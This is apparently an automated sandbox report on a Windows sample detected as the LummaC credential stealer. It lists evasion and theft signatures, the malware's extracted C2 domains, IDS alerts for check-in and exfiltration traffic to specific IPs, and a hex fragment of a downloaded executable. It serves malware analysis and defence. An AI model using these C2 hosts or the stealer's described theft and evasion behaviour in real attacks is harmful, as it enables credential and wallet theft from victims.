Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556669
MD5:	25eda07b817c7417799d153d629e1d94
SHA1:	cd63373ad66528e6dc7653d9ef49e95172dcc4ad
SHA256:	02ac6b117ee0d8a84f659b64162addac4e20be7f07db000a8f8e62b9f2ca4d9f
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7160 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 25EDA07B817C7417799D153D629E1D94)

chrome.exe (PID: 7904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1880,i,16005294969273023944,6149792869033934802,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1912,i,9192152280094164076,13966168895789151586,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["300snails.sbs", "thicktoys.sbs", "3xc1aimbl0w.sbs", "faintbl0w.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000003.1417685938.000000000129D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.1418247910.000000000129E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7160	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7160	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T19:39:14.809776+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T19:39:16.991271+0100	2028371	3	Unknown Traffic	192.168.2.7	49708	172.67.174.133	443	TCP
2024-11-15T19:39:18.628150+0100	2028371	3	Unknown Traffic	192.168.2.7	49714	172.67.174.133	443	TCP
2024-11-15T19:39:21.083942+0100	2028371	3	Unknown Traffic	192.168.2.7	49730	172.67.174.133	443	TCP
2024-11-15T19:39:22.593796+0100	2028371	3	Unknown Traffic	192.168.2.7	49741	172.67.174.133	443	TCP
2024-11-15T19:39:25.064463+0100	2028371	3	Unknown Traffic	192.168.2.7	49753	172.67.174.133	443	TCP
2024-11-15T19:39:27.040890+0100	2028371	3	Unknown Traffic	192.168.2.7	49769	172.67.174.133	443	TCP
2024-11-15T19:39:31.620664+0100	2028371	3	Unknown Traffic	192.168.2.7	49797	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T19:39:15.455755+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T19:39:17.725756+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49708	172.67.174.133	443	TCP
2024-11-15T19:39:32.313546+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49797	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T19:39:15.455755+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49701	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T19:39:17.725756+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49708	172.67.174.133	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T19:39:14.809776+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T19:39:16.991271+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49708	172.67.174.133	443	TCP
2024-11-15T19:39:18.628150+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49714	172.67.174.133	443	TCP
2024-11-15T19:39:21.083942+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49730	172.67.174.133	443	TCP
2024-11-15T19:39:22.593796+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49741	172.67.174.133	443	TCP
2024-11-15T19:39:25.064463+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49753	172.67.174.133	443	TCP
2024-11-15T19:39:27.040890+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49769	172.67.174.133	443	TCP
2024-11-15T19:39:31.620664+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.7	49797	172.67.174.133	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T19:39:33.258450+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49802	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T19:39:14.100734+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.7	57740	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T19:39:25.805078+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49753	172.67.174.133	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000005.00000003.1569830478.0000000008120000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000005.00000002.1667011673.0000000006002000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\.ms-ad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49714 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.7:57740 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49741 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49708 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49730 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49769 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49701 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49753 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.7:49797 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49708 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49701 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49701 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49708 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49753 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49797 -> 172.67.174.133:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 300snails.sbs
Source: Malware configuration extractor	URLs: thicktoys.sbs
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs
Source: Malware configuration extractor	URLs: faintbl0w.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 18:39:33 GMTContent-Type: application/octet-streamContent-Length: 2791936Last-Modified: Fri, 15 Nov 2024 18:13:16 GMTConnection: keep-aliveETag: "67378f3c-2a9a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 02 9e 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 74 6c 6c 67 71 72 78 00 40 2a 00 00 a0 00 00 00 3a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 70 76 75 6c 62 68 66 00 20 00 00 00 e0 2a 00 00 04 00 00 00 74 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 78 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49714 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49730 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49741 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49708 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49802 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49753 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49769 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49797 -> 172.67.174.133:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
